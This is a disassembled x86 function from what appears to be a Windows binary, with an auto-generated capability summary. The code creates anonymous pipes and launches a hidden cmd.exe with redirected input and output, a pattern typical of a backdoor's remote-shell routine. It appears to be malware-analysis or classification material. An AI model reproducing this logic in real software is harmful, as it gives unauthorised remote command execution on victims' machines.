Function at 0x1000a1a3
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
mov eax, 0x10014308
call fcn.10013680
sub esp, 0x16c
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x30], esi
call fcn.10007c2f
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x70]
mov dword [ebp - 0x74], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x28]
mov dword [ebp - 0x2c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x177]
mov byte [ebp - 0x178], bl
push str.CloseHandle
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [esi + 0x120]
push str.KERNEL32.dll
mov dword [ebp - 4], ebx
mov dword [esi], 0x100152b4
mov dword [esi + 0x114], ebx
mov dword [esi + 0x118], ebx
mov dword [esi + 0x11c], ebx
mov dword [edi], ebx
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [esi + 0x114]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000a278
mov eax, dword [esi + 0x114]
cmp eax, ebx
je 0x1000a26b
push eax
call dword [ebp - 0x10]
mov edi, dword [edi]
cmp edi, ebx
je 0x1000a3c3
push edi
jmp 0x1000a2b2
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [esi + 0x118]
push eax
lea eax, [esi + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000a2ba
mov eax, dword [esi + 0x118]
cmp eax, ebx
je 0x1000a2a3
push eax
call dword [ebp - 0x10]
mov eax, dword [esi + 0x11c]
cmp eax, ebx
je 0x1000a3c3
push eax
call dword [ebp - 0x10]
jmp 0x1000a3c3
push 0x44
lea eax, [ebp - 0x74]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x2c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esi + 0x11c]
push 0x104
mov dword [ebp - 0x3c], eax
mov eax, dword [edi]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x178]
mov dword [ebp - 0x74], 0x44
push eax
mov word [ebp - 0x44], bx
mov dword [ebp - 0x48], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x178]
push str.cmd.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x2c]
pop ecx
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea eax, [ebp - 0x178]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000a36a
push dword [esi + 0x114]
mov ebx, dword [ebp - 0x10]
call ebx
push dword [esi + 0x118]
call ebx
push dword [esi + 0x11c]
call ebx
push dword [edi]
call ebx
jmp 0x1000a3c3
mov eax, dword [ebp - 0x2c]
push 1
mov dword [esi + 0x124], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 0x128], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x80
call fcn.10007ca1
mov ecx, esi
call fcn.10007ce6
push ebx
push ebx
push ebx
push esi
push 0x1000a578
push ebx
push ebx
call fcn.1000c140
push ebx
push ebx
push ebx
push esi
push 0x1000a63d
push ebx
push ebx
mov dword [esi + 0x12c], eax
call fcn.1000c140
add esp, 0x38
mov dword [esi + 0x130], eax
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4